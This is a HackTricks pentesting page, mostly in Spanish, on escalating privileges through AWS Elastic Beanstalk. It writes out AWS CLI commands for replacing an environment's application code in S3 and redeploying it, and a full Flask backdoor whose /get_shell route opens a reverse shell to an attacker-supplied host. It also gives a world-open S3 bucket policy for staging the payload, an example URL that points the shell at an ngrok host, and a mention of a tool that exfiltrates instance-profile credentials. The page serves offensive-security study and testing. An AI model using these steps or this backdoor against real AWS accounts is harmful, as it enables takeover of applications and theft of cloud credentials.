AWS - Elastic Beanstalk Privesc

Support HackTricks

Elastic Beanstalk

Más info sobre Elastic Beanstalk en:

AWS - Elastic Beanstalk Enum

Para realizar acciones sensibles en Beanstalk necesitarás tener muchos permisos sensibles en muchos servicios diferentes. Puedes verificar, por ejemplo, los permisos otorgados a arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, permisos de escritura en S3 y muchos otros

Con permisos de escritura sobre el bucket de S3 que contiene el código del entorno y permisos para reconstruir la aplicación (se necesita elasticbeanstalk:RebuildEnvironment y algunos más relacionados con S3, EC2 y Cloudformation), puedes modificar el código, reconstruir la app y la próxima vez que accedas a la app se ejecutará tu nuevo código, permitiendo al atacante comprometer la aplicación y las credenciales del rol IAM de la misma.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, y más...

Los mencionados más varios permisos de S3, EC2, cloudformation, autoscaling y elasticloadbalancing son necesarios para crear un escenario básico de Elastic Beanstalk desde cero.

  • Crear una aplicación de AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Si ya se ha creado un entorno y no quieres crear uno nuevo, puedes simplemente actualizar el existente.

  • Empaqueta tu código de aplicación y dependencias en un archivo ZIP:

zip -r MyApp.zip .
  • Subir el archivo ZIP a un bucket S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Crear una versión de aplicación de AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Despliega la versión de la aplicación en tu entorno de AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Primero que nada, necesitas crear un entorno Beanstalk legítimo con el código que te gustaría ejecutar en la víctima siguiendo los pasos anteriores. Potencialmente un simple zip que contenga estos 2 archivos:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Una vez que tengas tu propio entorno de Beanstalk en funcionamiento con tu rev shell, es hora de migrarlo al entorno de los víctimas. Para hacerlo, necesitas actualizar la política del bucket de tu bucket S3 de Beanstalk para que el víctima pueda acceder a él (Ten en cuenta que esto abrirá el bucket a TODOS):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Apoya a HackTricks

Last updated